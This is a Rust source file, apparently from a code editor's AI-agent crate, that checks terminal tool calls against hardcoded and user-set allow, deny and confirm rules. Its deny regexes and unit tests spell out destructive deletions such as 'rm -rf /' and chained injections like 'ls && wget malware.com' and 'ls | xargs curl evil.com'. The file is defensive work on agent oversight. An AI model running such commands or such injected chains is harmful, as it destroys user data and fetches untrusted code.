1use crate::AgentTool;
2use crate::tools::TerminalTool;
3use agent_settings::{AgentSettings, CompiledRegex, ToolPermissions, ToolRules};
4use settings::ToolPermissionMode;
5use shell_command_parser::extract_commands;
6use std::path::{Component, Path};
7use std::sync::LazyLock;
8use util::shell::ShellKind;
9
10const HARDCODED_SECURITY_DENIAL_MESSAGE: &str = "Blocked by built-in security rule. This operation is considered too \
11 harmful to be allowed, and cannot be overridden by settings.";
12
13/// Security rules that are always enforced and cannot be overridden by any setting.
14/// These protect against catastrophic operations like wiping filesystems.
15pub struct HardcodedSecurityRules {
16 pub terminal_deny: Vec<CompiledRegex>,
17}
18
19pub static HARDCODED_SECURITY_RULES: LazyLock<HardcodedSecurityRules> = LazyLock::new(|| {
20 // Flag group matches any short flags (-rf, -rfv, -v, etc.) or long flags (--recursive, --force, etc.)
21 // This ensures extra flags like -rfv, -v -rf, --recursive --force don't bypass the rules.
22 const FLAGS: &str = r"(--[a-zA-Z0-9][-a-zA-Z0-9_]*(=[^\s]*)?\s+|-[a-zA-Z]+\s+)*";
23 // Trailing flags that may appear after the path operand (GNU rm accepts flags after operands)
24 const TRAILING_FLAGS: &str = r"(\s+--[a-zA-Z0-9][-a-zA-Z0-9_]*(=[^\s]*)?|\s+-[a-zA-Z]+)*\s*";
25
26 HardcodedSecurityRules {
27 terminal_deny: vec![
28 // Recursive deletion of root - "rm -rf /", "rm -rfv /", "rm -rf /*", "rm / -rf"
29 CompiledRegex::new(
30 &format!(r"\brm\s+{FLAGS}(--\s+)?/\*?{TRAILING_FLAGS}$"),
31 false,
32 )
33 .expect("hardcoded regex should compile"),
34 // Recursive deletion of home - "rm -rf ~" or "rm -rf ~/" or "rm -rf ~/*" or "rm ~ -rf" (but not ~/subdir)
35 CompiledRegex::new(
36 &format!(r"\brm\s+{FLAGS}(--\s+)?~/?\*?{TRAILING_FLAGS}$"),
37 false,
38 )
39 .expect("hardcoded regex should compile"),
40 // Recursive deletion of home via $HOME - "rm -rf $HOME" or "rm -rf ${HOME}" or "rm $HOME -rf" or with /*
41 CompiledRegex::new(
42 &format!(r"\brm\s+{FLAGS}(--\s+)?(\$HOME|\$\{{HOME\}})/?(\*)?{TRAILING_FLAGS}$"),
43 false,
44 )
45 .expect("hardcoded regex should compile"),
46 // Recursive deletion of current directory - "rm -rf ." or "rm -rf ./" or "rm -rf ./*" or "rm . -rf"
47 CompiledRegex::new(
48 &format!(r"\brm\s+{FLAGS}(--\s+)?\./?\*?{TRAILING_FLAGS}$"),
49 false,
50 )
51 .expect("hardcoded regex should compile"),
52 // Recursive deletion of parent directory - "rm -rf .." or "rm -rf ../" or "rm -rf ../*" or "rm .. -rf"
53 CompiledRegex::new(
54 &format!(r"\brm\s+{FLAGS}(--\s+)?\.\./?\*?{TRAILING_FLAGS}$"),
55 false,
56 )
57 .expect("hardcoded regex should compile"),
58 ],
59 }
60});
61
62/// Checks if input matches any hardcoded security rules that cannot be bypassed.
63/// Returns a Deny decision if blocked, None otherwise.
64fn check_hardcoded_security_rules(
65 tool_name: &str,
66 input: &str,
67 shell_kind: ShellKind,
68) -> Option<ToolPermissionDecision> {
69 // Currently only terminal tool has hardcoded rules
70 if tool_name != TerminalTool::NAME {
71 return None;
72 }
73
74 let rules = &*HARDCODED_SECURITY_RULES;
75 let terminal_patterns = &rules.terminal_deny;
76
77 // First: check the original input as-is (and its path-normalized form)
78 if matches_hardcoded_patterns(input, terminal_patterns) {
79 return Some(ToolPermissionDecision::Deny(
80 HARDCODED_SECURITY_DENIAL_MESSAGE.into(),
81 ));
82 }
83
84 // Second: parse and check individual sub-commands (for chained commands)
85 if shell_kind.supports_posix_chaining() {
86 if let Some(commands) = extract_commands(input) {
87 for command in &commands {
88 if matches_hardcoded_patterns(command, terminal_patterns) {
89 return Some(ToolPermissionDecision::Deny(
90 HARDCODED_SECURITY_DENIAL_MESSAGE.into(),
91 ));
92 }
93 }
94 }
95 }
96
97 None
98}
99
100/// Checks a single command against hardcoded patterns, both as-is and with
101/// path arguments normalized (to catch traversal bypasses like `rm -rf /tmp/../../`
102/// and multi-path bypasses like `rm -rf /tmp /`).
103fn matches_hardcoded_patterns(command: &str, patterns: &[CompiledRegex]) -> bool {
104 for pattern in patterns {
105 if pattern.is_match(command) {
106 return true;
107 }
108 }
109
110 for expanded in expand_rm_to_single_path_commands(command) {
111 for pattern in patterns {
112 if pattern.is_match(&expanded) {
113 return true;
114 }
115 }
116 }
117
118 false
119}
120
121/// For rm commands, expands multi-path arguments into individual single-path
122/// commands with normalized paths. This catches both traversal bypasses like
123/// `rm -rf /tmp/../../` and multi-path bypasses like `rm -rf /tmp /`.
124fn expand_rm_to_single_path_commands(command: &str) -> Vec<String> {
125 let trimmed = command.trim();
126
127 let first_token = trimmed.split_whitespace().next();
128 if !first_token.is_some_and(|t| t.eq_ignore_ascii_case("rm")) {
129 return vec![];
130 }
131
132 let parts: Vec<&str> = trimmed.split_whitespace().collect();
133 let mut flags = Vec::new();
134 let mut paths = Vec::new();
135 let mut past_double_dash = false;
136
137 for part in parts.iter().skip(1) {
138 if !past_double_dash && *part == "--" {
139 past_double_dash = true;
140 flags.push(*part);
141 continue;
142 }
143 if !past_double_dash && part.starts_with('-') {
144 flags.push(*part);
145 } else {
146 paths.push(*part);
147 }
148 }
149
150 let flags_str = if flags.is_empty() {
151 String::new()
152 } else {
153 format!("{} ", flags.join(" "))
154 };
155
156 let mut results = Vec::new();
157 for path in &paths {
158 if path.starts_with('$') {
159 let home_prefix = if path.starts_with("${HOME}") {
160 Some("${HOME}")
161 } else if path.starts_with("$HOME") {
162 Some("$HOME")
163 } else {
164 None
165 };
166
167 if let Some(prefix) = home_prefix {
168 let suffix = &path[prefix.len()..];
169 if suffix.is_empty() {
170 results.push(format!("rm {flags_str}{path}"));
171 } else if suffix.starts_with('/') {
172 let normalized_suffix = normalize_path(suffix);
173 let reconstructed = if normalized_suffix == "/" {
174 prefix.to_string()
175 } else {
176 format!("{prefix}{normalized_suffix}")
177 };
178 results.push(format!("rm {flags_str}{reconstructed}"));
179 } else {
180 results.push(format!("rm {flags_str}{path}"));
181 }
182 } else {
183 results.push(format!("rm {flags_str}{path}"));
184 }
185 continue;
186 }
187
188 let mut normalized = normalize_path(path);
189 if normalized.is_empty() && !Path::new(path).has_root() {
190 normalized = ".".to_string();
191 }
192
193 results.push(format!("rm {flags_str}{normalized}"));
194 }
195
196 results
197}
198
199#[derive(Debug, Clone, PartialEq, Eq)]
200pub enum ToolPermissionDecision {
201 Allow,
202 Deny(String),
203 Confirm,
204}
205
206impl ToolPermissionDecision {
207 /// Determines the permission decision for a tool invocation based on configured rules.
208 ///
209 /// # Precedence Order (highest to lowest)
210 ///
211 /// 1. **Hardcoded security rules** - Critical safety checks (e.g., blocking `rm -rf /`)
212 /// that cannot be bypassed by any user settings, including `always_allow_tool_actions`.
213 /// 2. **`always_allow_tool_actions`** - When enabled, allows all tool actions without
214 /// prompting. This global setting bypasses user-configured deny/confirm/allow patterns,
215 /// but does **not** bypass hardcoded security rules.
216 /// 3. **`always_deny`** - If any deny pattern matches, the tool call is blocked immediately.
217 /// This takes precedence over `always_confirm` and `always_allow` patterns.
218 /// 4. **`always_confirm`** - If any confirm pattern matches (and no deny matched),
219 /// the user is prompted for confirmation.
220 /// 5. **`always_allow`** - If any allow pattern matches (and no deny/confirm matched),
221 /// the tool call proceeds without prompting.
222 /// 6. **`default_mode`** - If no patterns match, falls back to the tool's default mode.
223 ///
224 /// # Shell Compatibility (Terminal Tool Only)
225 ///
226 /// For the terminal tool, commands are parsed to extract sub-commands for security.
227 /// All currently supported `ShellKind` variants are treated as compatible because
228 /// brush-parser can handle their command chaining syntax. If a new `ShellKind`
229 /// variant is added that brush-parser cannot safely parse, it should be excluded
230 /// from `ShellKind::supports_posix_chaining()`, which will cause `always_allow`
231 /// patterns to be disabled for that shell.
232 ///
233 /// # Pattern Matching Tips
234 ///
235 /// Patterns are matched as regular expressions against the tool input (e.g., the command
236 /// string for the terminal tool). Some tips for writing effective patterns:
237 ///
238 /// - Use word boundaries (`\b`) to avoid partial matches. For example, pattern `rm` will
239 /// match "storm" and "arms", but `\brm\b` will only match the standalone word "rm".
240 /// This is important for security rules where you want to block specific commands
241 /// without accidentally blocking unrelated commands that happen to contain the same
242 /// substring.
243 /// - Patterns are case-insensitive by default. Set `case_sensitive: true` for exact matching.
244 /// - Use `^` and `$` anchors to match the start/end of the input.
245 pub fn from_input(
246 tool_name: &str,
247 input: &str,
248 permissions: &ToolPermissions,
249 always_allow_tool_actions: bool,
250 shell_kind: ShellKind,
251 ) -> ToolPermissionDecision {
252 // First, check hardcoded security rules, such as banning `rm -rf /` in terminal tool.
253 // These cannot be bypassed by any user settings.
254 if let Some(denial) = check_hardcoded_security_rules(tool_name, input, shell_kind) {
255 return denial;
256 }
257
258 // If always_allow_tool_actions is enabled, bypass user-configured permission checks.
259 // Note: This no longer bypasses hardcoded security rules (checked above).
260 if always_allow_tool_actions {
261 return ToolPermissionDecision::Allow;
262 }
263
264 let rules = match permissions.tools.get(tool_name) {
265 Some(rules) => rules,
266 None => {
267 return ToolPermissionDecision::Confirm;
268 }
269 };
270
271 // Check for invalid regex patterns before evaluating rules.
272 // If any patterns failed to compile, block the tool call entirely.
273 if let Some(error) = check_invalid_patterns(tool_name, rules) {
274 return ToolPermissionDecision::Deny(error);
275 }
276
277 // For the terminal tool, parse the command to extract all sub-commands.
278 // This prevents shell injection attacks where a user configures an allow
279 // pattern like "^ls" and an attacker crafts "ls && rm -rf /".
280 //
281 // If parsing fails or the shell syntax is unsupported, always_allow is
282 // disabled for this command (we set allow_enabled to false to signal this).
283 if tool_name == TerminalTool::NAME {
284 // Our shell parser (brush-parser) only supports POSIX-like shell syntax.
285 // See the doc comment above for the list of compatible/incompatible shells.
286 if !shell_kind.supports_posix_chaining() {
287 // For shells with incompatible syntax, we can't reliably parse
288 // the command to extract sub-commands.
289 if !rules.always_allow.is_empty() {
290 // If the user has configured always_allow patterns, we must deny
291 // because we can't safely verify the command doesn't contain
292 // hidden sub-commands that bypass the allow patterns.
293 return ToolPermissionDecision::Deny(format!(
294 "The {} shell does not support \"always allow\" patterns for the terminal \
295 tool because Zed cannot parse its command chaining syntax. Please remove \
296 the always_allow patterns from your tool_permissions settings, or switch \
297 to a POSIX-conforming shell.",
298 shell_kind
299 ));
300 }
301 // No always_allow rules, so we can still check deny/confirm patterns.
302 return check_commands(std::iter::once(input.to_string()), rules, tool_name, false);
303 }
304
305 match extract_commands(input) {
306 Some(commands) => check_commands(commands, rules, tool_name, true),
307 None => {
308 // The command failed to parse, so we check to see if we should auto-deny
309 // or auto-confirm; if neither auto-deny nor auto-confirm applies here,
310 // fall back on the default (based on the user's settings, which is Confirm
311 // if not specified otherwise). Ignore "always allow" when it failed to parse.
312 check_commands(std::iter::once(input.to_string()), rules, tool_name, false)
313 }
314 }
315 } else {
316 check_commands(std::iter::once(input.to_string()), rules, tool_name, true)
317 }
318 }
319}
320
321/// Evaluates permission rules against a set of commands.
322///
323/// This function performs a single pass through all commands with the following logic:
324/// - **DENY**: If ANY command matches a deny pattern, deny immediately (short-circuit)
325/// - **CONFIRM**: Track if ANY command matches a confirm pattern
326/// - **ALLOW**: Track if ALL commands match at least one allow pattern
327///
328/// The `allow_enabled` flag controls whether allow patterns are checked. This is set
329/// to `false` when we can't reliably parse shell commands (e.g., parse failures or
330/// unsupported shell syntax), ensuring we don't auto-allow potentially dangerous commands.
331fn check_commands(
332 commands: impl IntoIterator<Item = String>,
333 rules: &ToolRules,
334 tool_name: &str,
335 allow_enabled: bool,
336) -> ToolPermissionDecision {
337 // Single pass through all commands:
338 // - DENY: If ANY command matches a deny pattern, deny immediately (short-circuit)
339 // - CONFIRM: Track if ANY command matches a confirm pattern
340 // - ALLOW: Track if ALL commands match at least one allow pattern
341 let mut any_matched_confirm = false;
342 let mut all_matched_allow = true;
343 let mut had_any_commands = false;
344
345 for command in commands {
346 had_any_commands = true;
347
348 // DENY: immediate return if any command matches a deny pattern
349 if rules.always_deny.iter().any(|r| r.is_match(&command)) {
350 return ToolPermissionDecision::Deny(format!(
351 "Command blocked by security rule for {} tool",
352 tool_name
353 ));
354 }
355
356 // CONFIRM: remember if any command matches a confirm pattern
357 if rules.always_confirm.iter().any(|r| r.is_match(&command)) {
358 any_matched_confirm = true;
359 }
360
361 // ALLOW: track if all commands match at least one allow pattern
362 if !rules.always_allow.iter().any(|r| r.is_match(&command)) {
363 all_matched_allow = false;
364 }
365 }
366
367 // After processing all commands, check accumulated state
368 if any_matched_confirm {
369 return ToolPermissionDecision::Confirm;
370 }
371
372 if allow_enabled && all_matched_allow && had_any_commands {
373 return ToolPermissionDecision::Allow;
374 }
375
376 match rules.default_mode {
377 ToolPermissionMode::Deny => {
378 ToolPermissionDecision::Deny(format!("{} tool is disabled", tool_name))
379 }
380 ToolPermissionMode::Allow => ToolPermissionDecision::Allow,
381 ToolPermissionMode::Confirm => ToolPermissionDecision::Confirm,
382 }
383}
384
385/// Checks if the tool rules contain any invalid regex patterns.
386/// Returns an error message if invalid patterns are found.
387fn check_invalid_patterns(tool_name: &str, rules: &ToolRules) -> Option<String> {
388 if rules.invalid_patterns.is_empty() {
389 return None;
390 }
391
392 let count = rules.invalid_patterns.len();
393 let pattern_word = if count == 1 { "pattern" } else { "patterns" };
394
395 Some(format!(
396 "The {} tool cannot run because {} regex {} failed to compile. \
397 Please fix the invalid patterns in your tool_permissions settings.",
398 tool_name, count, pattern_word
399 ))
400}
401
402/// Convenience wrapper that extracts permission settings from `AgentSettings`.
403///
404/// This is the primary entry point for tools to check permissions. It extracts
405/// `tool_permissions` and `always_allow_tool_actions` from the settings and
406/// delegates to [`ToolPermissionDecision::from_input`], using the system shell.
407pub fn decide_permission_from_settings(
408 tool_name: &str,
409 input: &str,
410 settings: &AgentSettings,
411) -> ToolPermissionDecision {
412 ToolPermissionDecision::from_input(
413 tool_name,
414 input,
415 &settings.tool_permissions,
416 settings.always_allow_tool_actions,
417 ShellKind::system(),
418 )
419}
420
421/// Normalizes a path by collapsing `.` and `..` segments without touching the filesystem.
422fn normalize_path(raw: &str) -> String {
423 let is_absolute = Path::new(raw).has_root();
424 let mut components: Vec<&str> = Vec::new();
425 for component in Path::new(raw).components() {
426 match component {
427 Component::CurDir => {}
428 Component::ParentDir => {
429 if components.last() == Some(&"..") {
430 components.push("..");
431 } else if !components.is_empty() {
432 components.pop();
433 } else if !is_absolute {
434 components.push("..");
435 }
436 }
437 Component::Normal(segment) => {
438 if let Some(s) = segment.to_str() {
439 components.push(s);
440 }
441 }
442 Component::RootDir | Component::Prefix(_) => {}
443 }
444 }
445 let joined = components.join("/");
446 if is_absolute {
447 format!("/{joined}")
448 } else {
449 joined
450 }
451}
452
453/// Decides permission by checking both the raw input path and a simplified/canonicalized
454/// version. Returns the most restrictive decision (Deny > Confirm > Allow).
455pub fn decide_permission_for_path(
456 tool_name: &str,
457 raw_path: &str,
458 settings: &AgentSettings,
459) -> ToolPermissionDecision {
460 let raw_decision = decide_permission_from_settings(tool_name, raw_path, settings);
461
462 let simplified = normalize_path(raw_path);
463 if simplified == raw_path {
464 return raw_decision;
465 }
466
467 let simplified_decision = decide_permission_from_settings(tool_name, &simplified, settings);
468
469 most_restrictive(raw_decision, simplified_decision)
470}
471
472fn most_restrictive(
473 a: ToolPermissionDecision,
474 b: ToolPermissionDecision,
475) -> ToolPermissionDecision {
476 match (&a, &b) {
477 (ToolPermissionDecision::Deny(_), _) => a,
478 (_, ToolPermissionDecision::Deny(_)) => b,
479 (ToolPermissionDecision::Confirm, _) | (_, ToolPermissionDecision::Confirm) => {
480 ToolPermissionDecision::Confirm
481 }
482 _ => a,
483 }
484}
485
486#[cfg(test)]
487mod tests {
488 use super::*;
489 use crate::AgentTool;
490 use crate::pattern_extraction::extract_terminal_pattern;
491 use crate::tools::{EditFileTool, TerminalTool};
492 use agent_settings::{AgentProfileId, CompiledRegex, InvalidRegexPattern, ToolRules};
493 use gpui::px;
494 use settings::{DefaultAgentView, DockPosition, DockSide, NotifyWhenAgentWaiting};
495 use std::sync::Arc;
496
497 fn test_agent_settings(
498 tool_permissions: ToolPermissions,
499 always_allow_tool_actions: bool,
500 ) -> AgentSettings {
501 AgentSettings {
502 enabled: true,
503 button: true,
504 dock: DockPosition::Right,
505 agents_panel_dock: DockSide::Left,
506 default_width: px(300.),
507 default_height: px(600.),
508 default_model: None,
509 inline_assistant_model: None,
510 inline_assistant_use_streaming_tools: false,
511 commit_message_model: None,
512 thread_summary_model: None,
513 inline_alternatives: vec![],
514 favorite_models: vec![],
515 default_profile: AgentProfileId::default(),
516 default_view: DefaultAgentView::Thread,
517 profiles: Default::default(),
518 always_allow_tool_actions,
519 notify_when_agent_waiting: NotifyWhenAgentWaiting::default(),
520 play_sound_when_agent_done: false,
521 single_file_review: false,
522 model_parameters: vec![],
523 enable_feedback: false,
524 expand_edit_card: true,
525 expand_terminal_card: true,
526 cancel_generation_on_terminal_stop: true,
527 use_modifier_to_send: true,
528 message_editor_min_lines: 1,
529 tool_permissions,
530 show_turn_stats: false,
531 }
532 }
533
534 fn pattern(command: &str) -> &'static str {
535 Box::leak(
536 extract_terminal_pattern(command)
537 .expect("failed to extract pattern")
538 .into_boxed_str(),
539 )
540 }
541
542 struct PermTest {
543 tool: &'static str,
544 input: &'static str,
545 mode: ToolPermissionMode,
546 allow: Vec<(&'static str, bool)>,
547 deny: Vec<(&'static str, bool)>,
548 confirm: Vec<(&'static str, bool)>,
549 global: bool,
550 shell: ShellKind,
551 }
552
553 impl PermTest {
554 fn new(input: &'static str) -> Self {
555 Self {
556 tool: TerminalTool::NAME,
557 input,
558 mode: ToolPermissionMode::Confirm,
559 allow: vec![],
560 deny: vec![],
561 confirm: vec![],
562 global: false,
563 shell: ShellKind::Posix,
564 }
565 }
566
567 fn tool(mut self, t: &'static str) -> Self {
568 self.tool = t;
569 self
570 }
571 fn mode(mut self, m: ToolPermissionMode) -> Self {
572 self.mode = m;
573 self
574 }
575 fn allow(mut self, p: &[&'static str]) -> Self {
576 self.allow = p.iter().map(|s| (*s, false)).collect();
577 self
578 }
579 fn allow_case_sensitive(mut self, p: &[&'static str]) -> Self {
580 self.allow = p.iter().map(|s| (*s, true)).collect();
581 self
582 }
583 fn deny(mut self, p: &[&'static str]) -> Self {
584 self.deny = p.iter().map(|s| (*s, false)).collect();
585 self
586 }
587 fn deny_case_sensitive(mut self, p: &[&'static str]) -> Self {
588 self.deny = p.iter().map(|s| (*s, true)).collect();
589 self
590 }
591 fn confirm(mut self, p: &[&'static str]) -> Self {
592 self.confirm = p.iter().map(|s| (*s, false)).collect();
593 self
594 }
595 fn global(mut self, g: bool) -> Self {
596 self.global = g;
597 self
598 }
599 fn shell(mut self, s: ShellKind) -> Self {
600 self.shell = s;
601 self
602 }
603
604 fn is_allow(self) {
605 assert_eq!(
606 self.run(),
607 ToolPermissionDecision::Allow,
608 "expected Allow for '{}'",
609 self.input
610 );
611 }
612 fn is_deny(self) {
613 assert!(
614 matches!(self.run(), ToolPermissionDecision::Deny(_)),
615 "expected Deny for '{}'",
616 self.input
617 );
618 }
619 fn is_confirm(self) {
620 assert_eq!(
621 self.run(),
622 ToolPermissionDecision::Confirm,
623 "expected Confirm for '{}'",
624 self.input
625 );
626 }
627
628 fn run(&self) -> ToolPermissionDecision {
629 let mut tools = collections::HashMap::default();
630 tools.insert(
631 Arc::from(self.tool),
632 ToolRules {
633 default_mode: self.mode,
634 always_allow: self
635 .allow
636 .iter()
637 .filter_map(|(p, cs)| CompiledRegex::new(p, *cs))
638 .collect(),
639 always_deny: self
640 .deny
641 .iter()
642 .filter_map(|(p, cs)| CompiledRegex::new(p, *cs))
643 .collect(),
644 always_confirm: self
645 .confirm
646 .iter()
647 .filter_map(|(p, cs)| CompiledRegex::new(p, *cs))
648 .collect(),
649 invalid_patterns: vec![],
650 },
651 );
652 ToolPermissionDecision::from_input(
653 self.tool,
654 self.input,
655 &ToolPermissions { tools },
656 self.global,
657 self.shell,
658 )
659 }
660 }
661
662 fn t(input: &'static str) -> PermTest {
663 PermTest::new(input)
664 }
665
666 fn no_rules(input: &str, global: bool) -> ToolPermissionDecision {
667 ToolPermissionDecision::from_input(
668 TerminalTool::NAME,
669 input,
670 &ToolPermissions {
671 tools: collections::HashMap::default(),
672 },
673 global,
674 ShellKind::Posix,
675 )
676 }
677
678 // allow pattern matches
679 #[test]
680 fn allow_exact_match() {
681 t("cargo test").allow(&[pattern("cargo")]).is_allow();
682 }
683 #[test]
684 fn allow_one_of_many_patterns() {
685 t("npm install")
686 .allow(&[pattern("cargo"), pattern("npm")])
687 .is_allow();
688 t("git status")
689 .allow(&[pattern("cargo"), pattern("npm"), pattern("git")])
690 .is_allow();
691 }
692 #[test]
693 fn allow_middle_pattern() {
694 t("run cargo now").allow(&["cargo"]).is_allow();
695 }
696 #[test]
697 fn allow_anchor_prevents_middle() {
698 t("run cargo now").allow(&["^cargo"]).is_confirm();
699 }
700
701 // allow pattern doesn't match -> falls through
702 #[test]
703 fn allow_no_match_confirms() {
704 t("python x.py").allow(&[pattern("cargo")]).is_confirm();
705 }
706 #[test]
707 fn allow_no_match_global_allows() {
708 t("python x.py")
709 .allow(&[pattern("cargo")])
710 .global(true)
711 .is_allow();
712 }
713
714 // deny pattern matches (using commands that aren't blocked by hardcoded rules)
715 #[test]
716 fn deny_blocks() {
717 t("rm -rf ./temp").deny(&["rm\\s+-rf"]).is_deny();
718 }
719 #[test]
720 fn global_bypasses_user_deny() {
721 // always_allow_tool_actions bypasses user-configured deny rules
722 t("rm -rf ./temp")
723 .deny(&["rm\\s+-rf"])
724 .global(true)
725 .is_allow();
726 }
727 #[test]
728 fn deny_blocks_with_mode_allow() {
729 t("rm -rf ./temp")
730 .deny(&["rm\\s+-rf"])
731 .mode(ToolPermissionMode::Allow)
732 .is_deny();
733 }
734 #[test]
735 fn deny_middle_match() {
736 t("echo rm -rf ./temp").deny(&["rm\\s+-rf"]).is_deny();
737 }
738 #[test]
739 fn deny_no_match_falls_through() {
740 t("ls -la")
741 .deny(&["rm\\s+-rf"])
742 .mode(ToolPermissionMode::Allow)
743 .is_allow();
744 }
745
746 // confirm pattern matches
747 #[test]
748 fn confirm_requires_confirm() {
749 t("sudo apt install")
750 .confirm(&[pattern("sudo")])
751 .is_confirm();
752 }
753 #[test]
754 fn global_overrides_confirm() {
755 t("sudo reboot")
756 .confirm(&[pattern("sudo")])
757 .global(true)
758 .is_allow();
759 }
760 #[test]
761 fn confirm_overrides_mode_allow() {
762 t("sudo x")
763 .confirm(&["sudo"])
764 .mode(ToolPermissionMode::Allow)
765 .is_confirm();
766 }
767
768 // confirm beats allow
769 #[test]
770 fn confirm_beats_allow() {
771 t("git push --force")
772 .allow(&[pattern("git")])
773 .confirm(&["--force"])
774 .is_confirm();
775 }
776 #[test]
777 fn confirm_beats_allow_overlap() {
778 t("deploy prod")
779 .allow(&["deploy"])
780 .confirm(&["prod"])
781 .is_confirm();
782 }
783 #[test]
784 fn allow_when_confirm_no_match() {
785 t("git status")
786 .allow(&[pattern("git")])
787 .confirm(&["--force"])
788 .is_allow();
789 }
790
791 // deny beats allow
792 #[test]
793 fn deny_beats_allow() {
794 t("rm -rf ./tmp/x")
795 .allow(&["/tmp/"])
796 .deny(&["rm\\s+-rf"])
797 .is_deny();
798 }
799
800 #[test]
801 fn deny_beats_confirm() {
802 t("sudo rm -rf ./temp")
803 .confirm(&["sudo"])
804 .deny(&["rm\\s+-rf"])
805 .is_deny();
806 }
807
808 // deny beats everything
809 #[test]
810 fn deny_beats_all() {
811 t("bad cmd")
812 .allow(&["cmd"])
813 .confirm(&["cmd"])
814 .deny(&["bad"])
815 .is_deny();
816 }
817
818 // no patterns -> default_mode
819 #[test]
820 fn default_confirm() {
821 t("python x.py")
822 .mode(ToolPermissionMode::Confirm)
823 .is_confirm();
824 }
825 #[test]
826 fn default_allow() {
827 t("python x.py").mode(ToolPermissionMode::Allow).is_allow();
828 }
829 #[test]
830 fn default_deny() {
831 t("python x.py").mode(ToolPermissionMode::Deny).is_deny();
832 }
833 #[test]
834 fn default_deny_global_true() {
835 t("python x.py")
836 .mode(ToolPermissionMode::Deny)
837 .global(true)
838 .is_allow();
839 }
840
841 #[test]
842 fn default_confirm_global_true() {
843 t("x")
844 .mode(ToolPermissionMode::Confirm)
845 .global(true)
846 .is_allow();
847 }
848
849 #[test]
850 fn no_rules_confirms_by_default() {
851 assert_eq!(no_rules("x", false), ToolPermissionDecision::Confirm);
852 }
853
854 #[test]
855 fn empty_input_no_match() {
856 t("")
857 .deny(&["rm"])
858 .mode(ToolPermissionMode::Allow)
859 .is_allow();
860 }
861
862 #[test]
863 fn empty_input_with_allow_falls_to_default() {
864 t("").allow(&["^ls"]).is_confirm();
865 }
866
867 #[test]
868 fn multi_deny_any_match() {
869 t("rm x").deny(&["rm", "del", "drop"]).is_deny();
870 t("drop x").deny(&["rm", "del", "drop"]).is_deny();
871 }
872
873 #[test]
874 fn multi_allow_any_match() {
875 t("cargo x").allow(&["^cargo", "^npm", "^git"]).is_allow();
876 }
877 #[test]
878 fn multi_none_match() {
879 t("python x")
880 .allow(&["^cargo", "^npm"])
881 .deny(&["rm"])
882 .is_confirm();
883 }
884
885 // tool isolation
886 #[test]
887 fn other_tool_not_affected() {
888 let mut tools = collections::HashMap::default();
889 tools.insert(
890 Arc::from(TerminalTool::NAME),
891 ToolRules {
892 default_mode: ToolPermissionMode::Deny,
893 always_allow: vec![],
894 always_deny: vec![],
895 always_confirm: vec![],
896 invalid_patterns: vec![],
897 },
898 );
899 tools.insert(
900 Arc::from(EditFileTool::NAME),
901 ToolRules {
902 default_mode: ToolPermissionMode::Allow,
903 always_allow: vec![],
904 always_deny: vec![],
905 always_confirm: vec![],
906 invalid_patterns: vec![],
907 },
908 );
909 let p = ToolPermissions { tools };
910 // With always_allow_tool_actions=true, even default_mode: Deny is overridden
911 assert_eq!(
912 ToolPermissionDecision::from_input(TerminalTool::NAME, "x", &p, true, ShellKind::Posix),
913 ToolPermissionDecision::Allow
914 );
915 // With always_allow_tool_actions=false, default_mode: Deny is respected
916 assert!(matches!(
917 ToolPermissionDecision::from_input(
918 TerminalTool::NAME,
919 "x",
920 &p,
921 false,
922 ShellKind::Posix
923 ),
924 ToolPermissionDecision::Deny(_)
925 ));
926 assert_eq!(
927 ToolPermissionDecision::from_input(
928 EditFileTool::NAME,
929 "x",
930 &p,
931 false,
932 ShellKind::Posix
933 ),
934 ToolPermissionDecision::Allow
935 );
936 }
937
938 #[test]
939 fn partial_tool_name_no_match() {
940 let mut tools = collections::HashMap::default();
941 tools.insert(
942 Arc::from("term"),
943 ToolRules {
944 default_mode: ToolPermissionMode::Deny,
945 always_allow: vec![],
946 always_deny: vec![],
947 always_confirm: vec![],
948 invalid_patterns: vec![],
949 },
950 );
951 let p = ToolPermissions { tools };
952 // "terminal" should not match "term" rules, so falls back to Confirm (no rules)
953 assert_eq!(
954 ToolPermissionDecision::from_input(
955 TerminalTool::NAME,
956 "x",
957 &p,
958 false,
959 ShellKind::Posix
960 ),
961 ToolPermissionDecision::Confirm
962 );
963 }
964
965 // invalid patterns block the tool (but global bypasses all checks)
966 #[test]
967 fn invalid_pattern_blocks() {
968 let mut tools = collections::HashMap::default();
969 tools.insert(
970 Arc::from(TerminalTool::NAME),
971 ToolRules {
972 default_mode: ToolPermissionMode::Allow,
973 always_allow: vec![CompiledRegex::new("echo", false).unwrap()],
974 always_deny: vec![],
975 always_confirm: vec![],
976 invalid_patterns: vec![InvalidRegexPattern {
977 pattern: "[bad".into(),
978 rule_type: "always_deny".into(),
979 error: "err".into(),
980 }],
981 },
982 );
983 let p = ToolPermissions {
984 tools: tools.clone(),
985 };
986 // With global=true, all checks are bypassed including invalid pattern check
987 assert!(matches!(
988 ToolPermissionDecision::from_input(
989 TerminalTool::NAME,
990 "echo hi",
991 &p,
992 true,
993 ShellKind::Posix
994 ),
995 ToolPermissionDecision::Allow
996 ));
997 // With global=false, invalid patterns block the tool
998 assert!(matches!(
999 ToolPermissionDecision::from_input(
1000 TerminalTool::NAME,
1001 "echo hi",
1002 &p,
1003 false,
1004 ShellKind::Posix
1005 ),
1006 ToolPermissionDecision::Deny(_)
1007 ));
1008 }
1009
1010 #[test]
1011 fn shell_injection_via_double_ampersand_not_allowed() {
1012 t("ls && wget malware.com").allow(&["^ls"]).is_confirm();
1013 }
1014
1015 #[test]
1016 fn shell_injection_via_semicolon_not_allowed() {
1017 t("ls; wget malware.com").allow(&["^ls"]).is_confirm();
1018 }
1019
1020 #[test]
1021 fn shell_injection_via_pipe_not_allowed() {
1022 t("ls | xargs curl evil.com").allow(&["^ls"]).is_confirm();
1023 }
1024
1025 #[test]
1026 fn shell_injection_via_backticks_not_allowed() {
1027 t("echo `wget malware.com`")
1028 .allow(&[pattern("echo")])
1029 .is_confirm();
1030 }
1031
1032 #[test]
1033 fn shell_injection_via_dollar_parens_not_allowed() {
1034 t("echo $(wget malware.com)")
1035 .allow(&[pattern("echo")])
1036 .is_confirm();
1037 }
1038
1039 #[test]
1040 fn shell_injection_via_or_operator_not_allowed() {
1041 t("ls || wget malware.com").allow(&["^ls"]).is_confirm();
1042 }
1043
1044 #[test]
1045 fn shell_injection_via_background_operator_not_allowed() {
1046 t("ls & wget malware.com").allow(&["^ls"]).is_confirm();
1047 }
1048
1049 #[test]
1050 fn shell_injection_via_newline_not_allowed() {
1051 t("ls\nwget malware.com").allow(&["^ls"]).is_confirm();
1052 }
1053
1054 #[test]
1055 fn shell_injection_via_process_substitution_input_not_allowed() {
